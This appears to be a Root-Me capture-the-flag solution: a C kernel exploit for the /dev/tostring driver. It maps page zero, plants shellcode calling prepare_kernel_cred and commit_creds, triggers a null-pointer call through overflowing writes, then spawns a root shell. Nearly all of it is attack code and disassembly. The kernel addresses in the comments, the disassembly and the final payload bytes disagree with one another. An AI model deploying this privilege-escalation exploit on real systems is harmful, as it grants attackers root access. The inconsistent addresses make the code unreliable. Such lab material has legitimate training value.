Ch1 root-me

ch1.c

#include <sys/types.h>                                                                    
#include <stdio.h>                                                                        
#include <sys/stat.h>                                                                     
#include <fcntl.h>                                                                        
#include <sys/mman.h>                                                                     
#include <string.h>                                                                       
                                                                                          
// commit cred: c1070e80                                                                  
// prepare kernel cred c10711f0    

// gcc script.c -static -m32 -o script && chmod 777 ./script
                                                                                          
/*                                                                                        
assembleur:                                                                               
                                                                                          
.globl _start
_start:
        xor %eax , %eax
        call 0xc10711f0
        call 0xc104800f
        ret
                                                                     
                                                                                          
gcc ass.s -nostdlib -m32 -Ttext=0 -o ass                                                           

app-systeme-ch1@challenge03:/tmp/tmp.JCFlLjA0es$ objdump -d ass                           
                                                                                          
                                                                                          
                                                                                          
ass:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   31 c0                   xor    %eax,%eax
   2:   e8 e9 11 07 c1          call   c10711f0 <_end+0xc10701e0>
   7:   e8 03 80 04 c1          call   c104800f <_end+0xc1046fff>
   c:   c3                      ret
                            
31 c0          
e8 e9 11 07 c1 
e8 03 80 04 c1 
c3             
                                                                                    
                                                                                        
\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3                             
                                                                                          
*/                                                                                        
                                                                                          
char payload[] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3";


int main () {
                                                                      
        char address[] = "\x00\x00\x00\x00";                                     
  
        mmap (0 , 4096 ,
                        PROT_READ | PROT_WRITE | PROT_EXEC ,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
                        -1 , 0);
        memcpy (0 , payload , sizeof ( payload ));

        int fd = open ( "/dev/tostring" , O_WRONLY );

        int i;

        for(i = 0; i < 65; i++){
                write ( fd , address , 4);
        }

        close(fd);

        char tmp[1];
        fd = open ( "/dev/tostring" , O_RDONLY );

        read(fd, tmp, 1);
        close(fd);

        system ("/bin/sh");

}